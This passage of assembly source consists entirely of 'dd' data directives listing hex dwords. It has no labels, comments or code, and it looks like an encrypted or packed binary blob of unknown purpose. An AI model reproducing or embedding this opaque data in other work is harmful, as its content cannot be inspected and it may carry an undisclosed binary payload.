dd 0ADB56341h, 97CCF7C9h, 801BFC05h, 6A7D051h, 0D7EA82D4h dd 9133AA93h, 0E33AEDAh, 0FE886EB6h, 5562AD7Eh, 3CF7F207h dd 0BF85CC60h, 64CF63C5h, 0E53F85CEh, 0E964D723h, 23FFBEECh dd 0C1DD745Dh, 6566F4EBh, 0C6B65504h, 353FE2F4h, 0D4EE99D7h dd 0D134ABE2h, 84DBF881h, 0B11034B0h, 0B8A2C878h, 0FBB11234h dd 24C62D29h, 0C1BB959Ch, 0C904CE62h, 2E1E1E5h, 0AD5941A3h dd 5D22FFBAh, 3AEDC904h, 318CCCC9h, 0F4E1C1F5h, 0F7B5A3E4h dd 0E4D461C1h, 0C1F1B5ABh, 0B3A4F4E0h, 60C1F3B5h, 61DCB4D4h dd 9D2249E0h, 71A5F5A4h, 64FDA0E5h, 0E57FA5FDh, 0FBF13923h dd 234D68E7h, 855724E7h, 0C7A0CDF8h, 0FA854F24h, 245C215Ch dd 0E131B5B4h, 0FDE7FCADh, 0DE147B5h, 55282D4Dh, 0EAE2C106h dd 95B3A7h, 3CD763CDh, 0C9C2D7DEh, 767E62Ch, 0AFC9CC55h dd 550F67C6h, 0E62FC9CEh, 0C8551727h, 7C6AEC9h, 0E94B317Ch dd 1527DC2Fh, 0A9E14955h, 2DAD27FEh, 0AE20756Ah, 0D6152FF9h dd 0A6E629C9h, 0C9D01537h, 0DFB41CA8h, 6D4BED7h, 0DA68A6C1h dd 5741E2D2h, 0D9E4AA2Dh, 99EAF478h, 0E602103h, 0E7EDD686h dd 29F7BAC7h, 13AF7E86h, 0DD85D7CEh, 0D1F7E2D1h, 72F32BFAh dd 7D2825B1h, 0F31E457Bh, 6841A5E7h, 0D7870ED2h, 9DFAC8BCh dd 51339F2Dh, 0E1E1EE4Ch, 99A4D426h, 3AB4D4B5h, 55537510h dd 5BD7E196h, 40802B61h, 2FE7E676h, 0B9B3411Fh, 94E3F453h dd 569FDAC5h, 3434EEF8h, 0E24899D9h, 5FC30329h, 9BF480FAh dd 0F4A4C360h, 0BAAF6195h, 9FB690ADh, 0C3C71DC8h, 81F60996h dd 0EFB6A56Ah, 62A3EBE0h, 0DCE78575h, 0D8704193h, 0C6646137h dd 0A395EA85h, 85CEE0E7h, 0A823BC2Eh, 84916EF4h, 17AFA0DFh dd 67BCBBC4h, 259C6283h, 61C3FCBFh, 8B8EF41Ch, 0F904C483h dd 223D68EDh, 2D9E0C49h, 756AA16Dh, 414879E3h, 0C7C944A5h dd 552D2DF6h, 8869F1B7h, 62615364h, 0BCF84565h, 0ACEE91C4h dd 52DE5A3h, 0C69CD820h, 0AD38F4EEh, 4D437211h, 0E891A4E7h dd 0ADF06355h, 756221E3h, 764FE045h, 8452FC80h, 714034E4h dd 7A769ABCh, 6DD7D1CCh, 0E7C68661h, 0D0D7852Ch, 0FBB6FC63h dd 0CC6567E7h, 4D742D45h, 1EDF4528h, 0BFB46373h, 0FC70CB83h dd 0E0B57AFCh, 79BD906h, 546B345Ah, 0BFAFA4AAh, 0E2C64522h dd 8B623F79h, 86A65C5Ch, 59E6B361h, 887E75A8h, 20B08D48h dd 6E15ED95h, 0F6FF496Bh, 0FDA8663h, 9140F7BBh, 0F1D239F4h dd 0E8B4D03Fh, 0F014C9E7h, 6254ED89h, 0F2FE9D4Dh, 9F781F66h dd 0A6D4E8EDh, 0C4B23FBBh, 0EC4EE05h, 0B96F45ACh, 24921AA4h dd 0E792C15h, 9A02E922h, 0E2A7FD9Dh, 16D7E22Fh, 1227B238h dd 79C4734Bh, 10F8ADE8h, 93DBBED6h, 75D7F574h, 0B686E374h dd 3A1CD476h, 0F1FFAAEh, 3BA5A693h, 0A1F8A19Eh, 0D0C47562h dd 75D7EAB4h, 6D59CC64h, 0E548CAB6h, 2BAA641h, 34891B45h dd 216EFAE5h, 0C5C44562h, 0AAA1E77Fh, 7A726879h, 7B8F3E01h dd 0AF6247D4h, 3B61698Fh, 0A1ABADE8h, 0FFC45560h, 6008567Fh dd 0CE8C959Bh, 0E4593144h, 0F6C1CFA0h, 39C535A1h, 0F7A9B6BAh dd 59286921h, 6E837FF9h, 0ADB520B1h, 0DC70DA30h, 0F2C1BB00h dd 0B454B494h, 2DAFFCAAh, 8580C15Ch, 26A8FE2Dh, 8ED14614h dd 0F4B2B4A9h, 0DED1CA84h, 0B4B1FC82h, 844C607Bh, 92CC8E3Fh dd 0F9F0A260h, 0B450B7A9h, 0B23CE7F3h, 5CAD50EFh, 35F2F371h dd 0B2BDC94Ch, 1C3581E6h, 42D4B5F4h, 0ADF904A4h, 0A767C477h dd 38BF83B6h, 63A7E6A1h, 0B3C5F4D2h, 9215956Bh, 0CDFA75BFh dd 41E24464h, 45A8E7B8h, 0B6FC98CFh, 907521F4h, 0D22E6485h dd 0DF767802h, 6211C5C9h, 0AD81CEA5h, 3AD99AAh, 63D185CEh dd 7675695Bh, 739BE1D2h, 8D23BD89h, 3C233CADh, 0F4EB8623h dd 5CB788E1h, 6CDF067Ch, 21E08E85h, 0E7F7F6E6h, 0E0215123h dd 1421409Ch, 7FB370C9h, 58554047h, 312D5C55h, 70D41295h dd 0B3EE746Ah, 5C28B0FCh, 0E2A1B867h, 2DCDE16Dh, 677D9D35h dd 22CC9A98h, 539DBF03h, 34B87731h, 0E538D8F9h, 0A2E7F9CEh dd 3EABC16Dh, 0F8326C11h, 0B060099Bh, 7BECDBE7h, 14F8C4FBh dd 0F538DC0Eh, 62A1B84Fh, 7300151h, 1824B3BAh, 0B7C987AEh dd 0BB46C714h, 0C22AFC20h, 0B7F44235h, 769913A7h, 27B22DCBh dd 0FD47F43Ch, 66B99CE1h, 7C47F9Bh, 0E7E56DE5h, 0A36949E5h dd 70F2C647h, 0CC9FE276h, 81AFB5BFh, 8F4E320h, 625A35C2h dd 0F7C46D9Dh, 99A17CFCh, 0E8AFC0ADh, 0A44C8000h, 0C18B95B9h dd 0D8F4E320h, 0E3DDB9D2h, 8F816DADh, 0B7F1C0C1h, 0B5333CB8h dd 0F6FB06CCh, 0F59788E1h, 78DE4AA9h, 608C7581h, 35F5E65Dh dd 0F0E853BEh, 10C7DFA6h, 0A68D7063h, 0DD1E25F9h, 0C16D95E2h dd 0F354FCF7h, 7BAA2634h, 0CEABC482h, 9FF7DE87h, 67E5ACF5h dd 0A4766BC7h, 16DF107h, 0E814BE7Fh, 0A1786704h, 0CE6FD0F3h dd 4EC7D987h, 6DF505EAh, 6CFCF7C6h, 44A7DBACh, 0ED792075h dd 0F7C36D95h, 47BFE7FCh, 82FA36FBh, 0D94095FCh, 0B5A6D42Eh dd 0C983E9FCh, 0AF692CE7h, 0C477817Bh, 0CF601740h, 0ABE7D080h dd 63E4A8B1h, 656E6C87h, 0B247F647h, 0F7C44CD7h, 15782D7Dh dd 0CEB7B8CFh, 9F9F39A4h, 23E4ABF4h, 756E6E97h, 53DEC847h dd 0B6D5BB64h, 25B066E8h, 0B94A810Ah, 6FA14650h, 0E069A361h dd 5893B4E0h, 2EE0C2B1h, 0E04121B4h, 0F7CE6DBDh, 4E935F17h dd 36D7CBE3h, 0F7535827h, 0F7B1A47Dh, 4B9AD46Ch, 6AB612BEh dd 0F7C977F5h, 33B26F17h, 76AAC07Ah, 0A1CD6FD0h, 0BD2CA80Dh dd 7261836Bh, 775EEE8h, 820761D3h, 0A633185Eh, 0A8109921h dd 20D173B1h, 0C45094DAh, 0A09E05E1h, 745EEA1h, 58E2A1C3h dd 0D77D70B7h, 9035B699h, 9E85C0C1h, 0D992A131h, 0FDC827B2h dd 0C099835Ch, 11336676h, 284864FDh, 1BD7D57Ch, 0DE9D83C1h dd 7D2E23AFh, 97CC3C37h, 0E3813CF7h, 80C16631h, 0ABFDF11Ch dd 1BD7D474h, 169F82D1h, 9A4B5283h, 0F366F5B3h, 0AE40CB0Fh dd 0F7D966BAh, 0ADE35CC7h, 0D4C47C2Dh, 84F7B98Dh, 9D17046Ch dd 0C7373CC1h, 0AD7129E7h, 9DA1A221h, 0FEB8288Ch, 4518B8Ah dd 51F07870h, 0C3F573C3h dd 0FBFCA0C1h, 0CFD935B1h, 0AF812DB5h, 0BD77B2DCh, 0DF528062h dd 5AD671A5h, 4AF5735Dh, 0FAE4AFF1h, 8675EE6Eh, 621323F6h dd 0C57EA42Bh, 0F7641FBCh, 0C406B6A1h, 0CCB79BA5h, 0C144C5E1h dd 0FF696861h, 3A83BFEh, 0DFFFD977h, 10BB75E4h, 7B04E15Ch dd 0F04CD7B0h, 3D12CBA0h, 0E97395h, 957BB642h, 0F0E3F4B6h dd 0EB230CADh, 7ED3A361h, 0CCE9ABB3h, 518C8C21h, 8AED33E7h dd 239DA424h, 814A4A31h, 0EEAD512Dh, 64F48655h, 0D5FB2318h dd 980AE760h, 0A1E575A5h, 0B5A0F9BBh, 0C546C434h, 0C70D47FCh dd 0FF908DC4h, 0D587E23Ah, 2B87F46Dh, 86752075h, 8FE8A7EDh dd 0E846D455h, 80B164DEh, 0A7C2AC5Ah, 4BC2E7D7h, 3AA792F6h dd 61EA8D55h, 0AF7C2D95h, 0D084D0BAh, 0CE043F6h, 212EC3DDh dd 88224909h, 0D327E62Fh, 16C24DB5h, 6F012D91h, 0EB22AB75h dd 85A1595Ch, 2D75E2EDh, 0F94475A1h, 74DFCCA2h, 69516AA2h dd 0AE70FC13h, 26504256h, 688325A6h, 0A0DDA869h, 0E59284C5h dd 83CC5393h, 0E1F17653h, 0B489608Ch, 84E5A57Eh, 1BD7DAC4h dd 38F7F2CDh, 48710FF9h, 5866F521h, 0A1913A84h, 7358EDA1h dd 9EDD1846h, 6AD2567h, 0E1EC2144h, 82C61522h, 76BBE16Eh dd 359DA688h, 0E4374FDDh, 0ADA15035h, 0A04358EDh, 0F35EEF99h dd 7D25E7C3h, 0C6A18C0Eh, 0F7BC8C3Bh, 0FC7BB4CDh, 0D7233B8Fh dd 0EDE8263h, 67942F03h, 65EE23A8h, 0B4ED285h, 0D63408C8h dd 0E4D33E2Ch, 0F93E89F7h, 0AF419961h, 6D156B99h, 99A5D7E0h dd 0A07C8BD5h, 206089DAh, 2D62E7A1h, 0F3358528h, 0F75F0992h dd 3FD385C4h, 0CC770DE6h, 0D1C88808h, 0EA50BCC7h, 627090BEh dd 0EB7C85CCh, 99443862h, 0EDF9C784h, 868C1D08h, 0A253FBC6h dd 83447662h, 8AA12D61h, 65834471h, 799DA62Dh, 6D59E3D4h dd 0A4A87D06h, 8EDC587h, 37416D39h, 0F4D23ABCh, 0E136E735h dd 0F5D41BB8h, 0E0A8A1ADh, 75ECA124h, 6EE0FC45h, 0B6D47491h dd 0FED8E0C8h, 0EDF1A604h, 35B1F3F8h, 74C60685h, 0FB56C7EFh dd 0DDF0BA76h, 0AFE0B1C7h, 0D21DA080h, 416A96Bh, 0B5E4DA72h dd 5CAC93B7h, 0D4FF92E1h, 0B0C6DF45h, 0E07DABE7h, 0E298234Eh dd 91717798h, 7994D70Ch, 0C849E357h, 8935E0A1h, 0E96DB5D0h dd 0EDA3ACF7h, 0A1DEF0BAh, 451BA3B3h, 4582A439h, 4C2E01B5h dd 3875E298h, 0F3E3BCE1h, 575ECA1h, 0A202CBC0h, 0AC0B8E1h dd 1FBCD6C4h, 0C36F7283h, 2C1D7EAh, 26088ADFh, 0C1C034A3h dd 9130C0B5h, 0B856ABD2h, 87F7EBF4h, 323192Fh, 0B4D8EC98h dd 0DF9BDCFBh, 0CFCB14D7h, 91EEF8B5h, 0DF0514E5h, 0A1F707D6h dd 3EE2C545h, 0F049C7C7h, 0F76DADAFh, 0B54DE5F7h, 0D765331Fh dd 0A63ECE99h, 4A8E7BEDh, 9CCC5B0h, 55A5405Bh, 0F36DADC9h dd 9F61A5E7h, 0F724F287h, 0AF3E8C9Eh, 60609B3Fh, 7AD0C541h dd 61651C67h, 682D81AFh, 0C5944A83h, 0F767F2C7h, 0A819AF9Eh dd 251A68EDh, 6D6D8851h, 20D5C7F1h, 6FBEF885h, 85A81091h dd 0E761CAE5h, 7AC07CCAh, 4AC7A0B2h, 8C085B4h, 41A40032h dd 0E8ED72D9h, 85029203h, 811633DFh, 75F983BBh, 4AC763ADh dd 7ED48588h, 4D243A78h, 74EDB93Eh, 7B64D4A3h, 0D766AD3Dh dd 0DF859C10h, 0E6D72233h, 0ADE5C665h, 5D60D732h, 152DEC84h dd 0C749A0F7h, 0E7052DC9h, 0F645452Bh, 6DD770ADh, 2DA5297Dh dd 75ADC714h, 0EDEDE7C5h, 4165E7B1h, 0D7BD6DAFh, 0B4E159E5h dd 0E6D7A5ADh, 0ADF28649h, 4D65A1D9h, 65ADE4C7h, 0EE4D63C7h dd 0F7652D8Ah, 0ED4665E9h, 0E9C727EDh, 0EDB4E159h, 7D6DBFE5h dd 0A43ACBC5h, 0C4716DF7h, 0D7D537CDh, 0EFC5B85Bh, 0A5C7B56Dh dd 0AD34C165h, 7F7530ECh, 26EDE1C4h, 0A16965B3h, 9320F689h dd 0AFA14965h, 498562EDh, 321261C4h, 6925D7BBh, 0B5BC92A1h dd 0C74D25F7h, 0F766ADFCh, 0E74669E9h, 0B0F7D3F4h, 8CF9C554h dd 6966D7F3h, 0E6ADBB77h, 0F971A2C7h, 0E7052DA2h, 0ECC57DE9h dd 0E5E7446Dh, 0ED965A75h, 752DF751h, 242DE0C5h, 678BFC7h dd 0C7052DD2h, 0A0EFBC9Ah, 0AD2198ADh, 0BCDFC451h, 5964A3C7h dd 58AD93E3h, 45647D63h, 0D766ADD1h, 0DC477DEDh, 0E9A1FA84h dd 6DFA4641h, 68B49D7Bh, 0A1FCEA85h, 4471EDD7h, 305FEDEDh dd 0FB856DE1h, 0F531A1E4h, 70F3C7CBh, 652241ABh, 20F4FD85h dd 857035D7h, 10C7F4FEh, 0C2857634h, 35D7E0DCh, 0F4F68540h dd 48B45159h, 63F4FE85h, 0EFE934C7h, 0A1C3D48Dh, 0F685D0F4h dd 742252F4h, 0F4FE85D8h, 0C0B5F762h, 0E5EDF9C4h, 0C6E3F5AFh dd 611B74EDh, 0EA85D437h, 0E4C744EDh, 6DA8004Dh, 75A7E776h dd 0BCF044AAh, 0FC04AAB4h, 119710EFh, 64D1997Ah, 44B1A4B7h dd 3616FDDCh, 6480D7E7h, 217FD044h, 5616AA1h, 0F7D3C0C5h dd 0D784616Dh, 0E690BD36h, 77A2EF45h, 65E4F068h, 53B64A50h dd 0C5F40DF7h, 0F7156DEEh, 0F64645E9h, 6DF7D9BFh, 33D48441h dd 8528E711h, 0C1997CBh, 0C6CC343h, 5184877Eh, 0A6ECD9C3h dd 0E7E7956Dh, 2DDF0569h, 0F87A7147h, 8E77E286h, 6F51E071h dd 511FBB88h, 0DAC66DE6h, 0D70D92Dh, 0ADB07EDCh, 7166D7E7h dd 872DD984h, 0AA4162F7h, 413EADA4h, 0DA0565EDh, 2AD71A2Dh dd 0EDDF4641h, 0E87E0FCCh, 0D4645903h, 0A2F539A5h, 436D14F9h dd 0D66DCA7Bh, 0AD8159FFh, 7CE60665h, 652461AAh, 0B49774CCh dd 0ACFB0175h, 553CA7FAh, 0DA2CF903h, 0D55048Fh, 47FAAFF9h dd 0F8DBC729h, 8C0FDDC6h, 4FDC0A51h, 0D7E6F6A1h, 0C585E495h dd 0D5F7E337h, 6DE7046Ch, 6923F71Fh, 842DDA05h, 47DE9E7h dd 0F786ADC2h, 0A12CCCFAh, 7B7349B7h, 0B7AC560Fh, 0CB92C2ECh dd 4987BE57h, 4C8D2E73h, 0C711F4A0h, 692F8FE5h, 0CDE78AEDh dd 71CC05EBh, 5DE6D0BCh, 0C3F1DFC6h, 75D44A41h, 0F72979BDh dd 0D5C74168h, 612125ADh, 6DECC575h, 7965E7F3h, 0E1B4D1C4h dd 2D6166D7h, 0F702AD97h, 0FE849F19h, 292011ADh, 0EDC00659h dd 59ECC7D2h, 0D62DA9ECh, 440C98F7h, 0E7FF2DDAh, 0EA0441E5h dd 0EFF7FCB7h, 0EDA5C369h, 41A3E7F1h, 0FEEDC0C7h, 85A458ECh dd 3CD832FEh, 0EC0659ADh, 0EAE7BC6Dh, 6D9EE359h, 45A09305h dd 0AFEDDE46h, 0C674FCD7h, 0E77FEDE1h, 0B0B771E5h, 0A1009241h dd 41B0A47Dh, 592B60DEh, 0F8EDF006h, 8C55ECF7h, 0F2852D9Dh dd 0D0464522h, 6DD7F1ADh, 2DFD0571h, 0D801D7C1h, 0DC2DF306h dd 85512211h, 0E7F171DBh, 0CC06756Bh, 0E2320F4Ch, 81C9C590h dd 716DD271h, 55ADF846h, 1751A5E7h, 11A6ED80h, 0A296E872h dd 0A9C7C5EDh, 21ECC690h, 0B968F491h, 862DE284h, 468723A1h dd 9D41ADD9h, 8EECA8ECh, 75F7602Dh, 81C946B4h, 4567F7CBh dd 0E5ADE407h, 2C4DE9D7h, 0F0C83797h, 0E046F403h, 75F7136Dh dd 2D9AC910h, 4524D7B8h, 5FEDEB44h, 4416BE2h, 0F49121ECh dd 0B05E9968h, 62D73041h, 41F084A4h, 0F09BE88Fh, 31EDC804h dd 5516BE7h, 726CEDEAh, 97972F6Eh, 0A5EE4A32h, 2D8E375Dh dd 81EBF7E6h, 5ED3B76h, 0B42C2983h, 0CA917783h, 0BBB41E68h dd 3E8C08B1h, 0EDC1C4B4h, 41E0E2C0h, 35F38677h, 965DE5E7h dd 82D5B99Dh, 0C1C4D45Bh, 63E7E3EDh, 0EDF54675h, 752DB017h dd 7130E784h, 0F261A9D7h, 0D7D8EDADh, 0A4CF6DECh, 7821D030h dd 38C085A4h, 1735E7E0h, 3BEDCE07h, 338DBE91h, 30D230E7h dd 0E3C679EAh, 6D9C9FEDh, 0ADABD461h, 65E0618Ch, 0DC2DA72Fh dd 847D6D31h, 0C714EDEDh, 0C9C555A1h, 14C7F881h, 30E3C584h dd 5DA943CCh, 860D184h dd 9D7529A4h, 0A1B66DAEh, 11BDF89Bh, 0A241C9DBh, 6DE0C555h dd 79A2E758h, 8FADF3C5h, 575562E0h, 0D070ADBBh, 0F2FC99BEh dd 74432A3h, 0B38E6AB4h, 0BFC2A254h, 0A538C306h, 0C541A2E7h dd 0D7DFADF3h, 0B1315DA5h, 606EAAC8h, 0B9FE4694h, 5560E0F3h dd 0FFB1BD57h, 4417C9D7h, 62E079C9h, 4132456Bh, 6B60FE53h dd 39F68661h, 0BA06E7B3h, 0C4EDE4C6h, 0EC59ACE7h, 0C7352D8Ch dd 9D265DA0h, 0A3D7616Dh, 0ADE84604h, 0B462A21Ah, 0C6ADCDC4h dd 0C710CAF7h, 0E7D3ADE8h, 0FBC5716Bh, 3EE15AADh, 6DA82DECh dd 49E0A1E0h, 0DF6D95F9h, 847128F7h, 0E7FF35DBh, 0FB8561E7h dd 0EEE7B438h, 0F0EC8465h, 87CAE7C9h, 6F6DE346h, 7C10C5E7h dd 901CAD91h, 0C1C53CC8h, 84D15AADh, 0D3593EA4h, 71AA789Bh dd 0CCC2A619h, 471255E7h, 34A1ADF8h, 0C5C7B254h, 97F7C6C2h dd 0AD9D7981h, 71270CE9h, 2B6D6E19h, 5EE0C002h, 31DCFA90h dd 0E0047160h, 0E0F7DFEDh, 738EC369h, 55A4C760h, 9CAD519Bh dd 468082E7h, 3A62DF2h, 0D407840Bh, 0E8D7C103h, 2D48BE2Ch dd 854803A6h, 2E2DFB46h, 39028B52h, 0D211EDFBh, 593B9484h dd 62E2FDD3h, 0EDE0063Ch, 49A0E7C6h, 70EDA4F2h, 3B552EC7h dd 0F705B056h, 72C16125h, 0E0E7DAF2h, 6DE50741h, 2475B365h dd 0CCC2D5C6h, 440407D7h, 0C7856DE3h, 0FF0570CDh, 0A0E7DFC4h dd 3BC0C54Dh, 0CB74C7FFh, 0DF2D95F9h, 6179E9D7h, 2EACAD59h dd 0C38465EAh, 0A3B17571h, 8BAAD759h, 0C4CF764h, 3F31E3C5h dd 457CFC50h, 0C705F4DCh, 83D25DA3h, 82A14AADh, 0F798808Ch dd 596BE7E3h, 11359BB4h, 565A183h, 0E7E874E1h, 0D905C4BDh dd 0C4BF78FBh, 6DBDD2FCh, 0E472C20Bh, 9FADFB05h, 0C951EED7h dd 0E786ADB0h, 0ED457523h, 2BE7856Dh, 0BEF98745h, 6161E78Dh dd 70F4E605h, 4F4BAD7h, 0E7883BF6h, 0CD0744BFh, 77F7F5F4h dd 7CCA87F4h, 0FC4A81C4h, 0A0EDE1C4h, 0D275EBA1h, 0D7EAF3B2h dd 0CBC67C3Fh, 0B6D1DFFBh, 3699B76Ch, 24579111h, 0C304ED46h dd 305D2CA1h, 0C7D9AD58h, 9E2C49E5h, 0A5F7DC34h, 0EDFF046Dh dd 49A4E71Fh, 0B8EDA402h, 0CD61E4C7h, 0E738EDA1h, 0EF047165h dd 6BA11BEDh, 0ADD3C565h, 7438C7E4h, 0AEB49EA1h, 8565E460h dd 61ECBCC3h, 862265A4h, 32D72FFCh, 0AD98A058h, 71A9C724h dd 2572FAC5h, 238C6793h, 0C7DF74ABh, 60F75923h, 0A0F7FB2Dh dd 8FF73338h, 4DA0D2FDh, 0E6AD90A0h, 0B2ECC1C7h, 0F707B19Ah dd 0F4C749E9h, 0A9C7252Dh, 2DDB0549h, 0C0D5E778h, 61AD99C9h dd 0C679AA13h, 0B30EEDE6h, 8CE879A2h, 0EDD7652Dh, 0EDE6466Dh dd 456AF705h, 0AFADD7C5h, 4771EAD7h, 0F7EC2DDAh, 0D84755ACh dd 6D906C6Dh, 6DDFC679h, 41ED5D45h, 79EDE146h, 0C76925E7h dd 0D7252DC5h, 0F0C645E5h, 2EA13277h, 77B0AF4Dh, 0CC2EE786h dd 0C86DB5AFh, 2F45E163h, 63892D75h, 850F612Ah, 0E75383EDh dd 6DEF8661h, 796DE764h, 746DEFC5h, 0C745E5F7h, 0C7A5ADE2h dd 0EDC5EC88h, 4D41937Fh, 77E8C6FCh, 0D70D4185h, 2A67F6C6h dd 0EE5961B1h, 7F1237F2h, 0AF6E71E5h, 4DC71477h, 6D83CFD8h dd 0E44E4501h, 0E43700AEh, 0E9CC4B2Dh, 0D7C77FAAh, 462EC5CCh dd 4C7DCB6Dh, 7FFCC744h, 444CF7C5h, 0F97FFC04h, 44444CF7h dd 0F7FD7FFCh, 0EBC4F74Ch, 3BF7DC6Dh, 2DC1C798h, 756B23FDh dd 0BDF08B48h, 48752B21h, 21BDF08Eh, 954875EAh, 0AA23FD2Dh dd 2D914875h, 756A23FDh, 0FD2D9D48h, 68B02613h, 0F7862D99h dd 6674D4F8h, 0E5D7D9EDh, 67F00645h, 0F78ED71Ah, 0D17FFCC6h dd 46744CF7h, 11447FCh, 0B5ACE420h, 1E6D516Dh, 37FFAEEDh dd 6C4A3BCAh, 5D0FFFAEh, 0C7D11E63h, 0D7A9ADD1h, 0DC04D49Ch dd 0CDE7DAEDh, 67ED4576h, 512571C1h, 6877F606h, 0C4C48C80h dd 1DCF6DDAh, 0D18641AAh, 2EC7DB7Fh, 67790E79h, 0CA8FF79Bh dd 0F647C945h, 0F3467C7h, 0E7C1C1BBh, 0A5554D20h, 6FE26F6Dh dd 37B3554Dh, 0C0C8E725h, 5E77A8AEh, 465B57E7h, 0D749CECBh dd 849599A4h, 8EAB206h, 2D8BEFCDh, 47D4E2BFh, 0F6E1F2C7h dd 6A9D20ECh, 167E627h, 8AEF512Bh, 424D862Dh, 74817CD0h dd 9662C420h, 0E4F9CF06h, 0C51424D7h, 0D7E0F9FAh, 0FA851424h dd 24D7ECF9h, 0F9FA4514h, 0A324D72Ah, 0FCEDB968h, 48652423h dd 23FCEDBDh, 0B1486564h, 0B803FCEDh, 0EDB568A0h, 1CF803FCh dd 0BC30D5C7h, 68E08311h, 31BC34ABh, 0BA68E003h, 0F831BCF3h dd 4EC4ABC0h, 5960E862h, 22AD8595h, 9559E2E2h, 0FC226DA1h dd 84B4D11Eh, 220553B9h, 26D67713h, 0BDEEAA32h, 0B23EE5AAh dd 6CD18375h, 75BAA7D0h, 0F0EFD18Dh, 0E9E7DE7Fh, 67C7AF4Dh dd 41E5694Fh, 0ED7F9192h, 0C7E64EB1h, 0F7E100DDh, 0FC051478h dd 78F7FD38h, 27FDAE24h, 0E94B65DDh, 0E527DDB2h, 0A9E55525h dd 152218F0h, 0D669D997h, 0EBD7E5E3h, 2DB59241h, 4169A293h dd 932DA592h, 92416EA2h, 0A2936D95h, 8592416Fh, 0D3BC936Dh dd 0A6D468C1h, 0C1DD35BBh, 8366F4EBh, 9247DF35h, 0AC182D5Ah dd 0FFC661A5h, 0CAF7E177h, 669FF508h, 0F51E0555h, 5D26FFAEh dd 2AED5B05h, 0C46526DFh, 0FFB5AD65h, 0E9C7C7C1h, 6DE87565h dd 1010D7EBh, 0AAE1D075h, 1E612DEAh, 2C727F91h, 0D48755ECh dd 4CC1D53Bh, 3BD446C4h, 95A3E4F2h, 0FAA2FC74h, 0F795ADE4h dd 243061F1h, 0D5B4971Dh, 0E925E461h, 0A2FCF685h, 7D266DDBh dd 60ADA181h, 817D21A3h, 0A360ADB1h, 81817D20h, 23A360ADh dd 0AD9A817Dh, 0B12A3C32h, 0A0E0E8F1h, 71B134B4h, 3583E0C8h dd 3DB85FDFh, 0EFA3606Dh, 6D95817Dh, 41A9A360h, 0BD665821h dd 30E118B4h, 958226D4h, 0FEAAB12Fh, 25E77F44h, 2DD54445h dd 6DEB5D2Eh, 0BCB4D245h, 0C7716561h, 0E7F82DD3h, 0D8C76960h dd 0ACF7CAEDh, 0EDA62D59h, 4DE1E7B8h, 0DFEDE144h, 457DEDD7h dd 0D7B3B4D2h, 0D94471EDh, 0A0C7E52Dh, 2DD44645h, 716DBD9Ah dd 282DC1C4h, 0C541A261h, 0E7F1ADF3h, 0C2C5516Bh, 0C5A35AEDh dd 0F4F4C4D0h, 6565D7DFh, 0DCAD586Fh, 85D08DF7h, 915F2DDAh dd 0DCC54D6Bh, 0A7F7003Ch, 2DA6025Dh, 6963C770h, 0CBED902Fh dd 658FAD7h, 0F7CEEDF0h, 9F426DECh, 0C0B35C6Dh, 0ADE9C748h dd 79A5E7ECh, 452DE406h, 4575A26Dh, 31676DEFh, 0E1C561E9h dd 2141E16Dh, 0AD10AC75h, 79A5F71Eh, 0CC6D6820h, 4C5DA7E7h dd 0F7078412h, 0DA074DE5h, 2AC75A2Dh, 0EDE6045Dh, 65EDD7D1h dd 292DDA06h, 0AC5DE9C7h, 0E78FEDA1h, 0E4C5E0E5h, 13D7F86Dh dd 2DD9C4E0h, 75E643BDh, 732DC1C7h, 2DC8CC71h, 0D721B7BCh dd 912D48CFh, 6BD765ADh, 6DE8C651h, 652AD7B5h, 95ED4EACh dd 0C4E03FE7h, 75482DDBh, 0D30651E1h, 8E418367h, 0B7AB9352h dd 59E1C786h, 0CEADFE06h, 4476C291h, 0E729B7D1h, 0E1C74DE9h dd 65E7ECADh, 6DEE8469h, 65E9F7D3h, 0F0B4CE46h, 6F88AE7h dd 7F702DE7h, 0EFC74DA4h, 0E9C705EDh, 0EDDDC561h, 59A2E793h dd 976DE1C6h, 8461A2E7h, 0D7B8D6E5h, 0FDC5496Bh, 6DD7302Dh dd 2DE4C669h, 7DE4E71Dh, 7F6F884h, 75965C7h, 924E47E6h dd 0EE0569AAh, 6AB33B2Dh, 2DD4C769h, 0DB4DF71Ah, 54EDD6C6h dd 0C5F455C7h, 0C79D6DE4h, 0F904F3CCh, 0CC51E8EDh, 86EB86EBh dd 0E07BC7A5h, 382DC3C7h, 471EDA3h, 0D1722DE1h, 0A62E6560h dd 0E1C7072Dh, 0EDDD0655h, 7DA2E7D3h, 1EBFC405h, 865566E7h dd 0D72CADD1h, 0E446780Ch, 0E4E7DF2Dh, 0EDB04851h, 712863BDh dd 2EDA308h, 4649A863h dd 0E1726DF3h, 0DBC4EECBh, 5C23FC2Dh, 56F90650h, 0CF1CE7DAh dd 0C0ED90E1h, 46C4BAE1h, 0C7A92DC1h, 0E8C7483Ah, 0FAD7C1EDh dd 2DD5C748h, 0E7DEF78Dh, 0C7ED8E33h, 5C89161h, 0C7392DD7h dd 0E5074121h, 0B2D7E7EDh, 2DD405C8h, 0DC7ED739h, 56EDE6C6h dd 0AD75E0F7h, 0D7ADED94h, 0BFEDD8B2h, 0A4D7B8F7h, 0F6817D71h dd 75242B0Eh, 72EDE76Ah, 0BD453F7h, 0F7A6ED4Eh, 0D447EBDEh dd 6AF79546h, 6DE8C56Dh, 0D46DE7E6h, 0AB6D6C0Bh, 0C571EDD7h dd 0E7E446D8h, 8DF5ACE6h, 0B2D7C5ADh, 6DE94644h, 649B53ADh dd 0E4AD5095h, 854563C7h, 0D715ADFDh, 0E54565EDh, 0EF1F15EDh dd 0BE422B51h, 71E5A392h, 7F3CC787h, 62A8A1D7h, 0D72E6D85h dd 8ECD6CC7h, 66D7DF78h, 0FFA9C149h, 51657FE2h, 0DFF7682Ch dd 9459EDE7h, 0A11B2DA6h, 0CBC628A3h, 6B617177h, 0F4AE694Dh dd 4968E718h, 2DE585h, 0C44560F0h, 61B1B6CCh, 0E0847925h dd 25D7976Dh, 6DF7C775h, 7DA08338h, 72DBC2Eh, 85F440C7h dd 706C2DD2h, 0C104D702h, 0A2F7E1EDh, 38EDC549h, 59ADF726h dd 1FB49272h, 0BD6DA7D7h, 72FCBB83h, 0E4460003h, 67D7F8EDh dd 0ED8A4C61h, 71A2F888h, 9571CA46h, 4461A2F2h, 0D71D6DE6h dd 0A96F45E5h, 0C3F0D021h, 6DE60578h, 0D050F71Fh, 8AF4D946h dd 0A45D60D0h, 0A8D52DA6h, 0F4857DA2h, 6CE00C21h, 18A50079h dd 0B6ABD75Fh, 6511F404h, 0F14DAA82h, 0E7E7F8A3h, 0C9C78035h dd 0A5E71436h, 6D7AB67Dh, 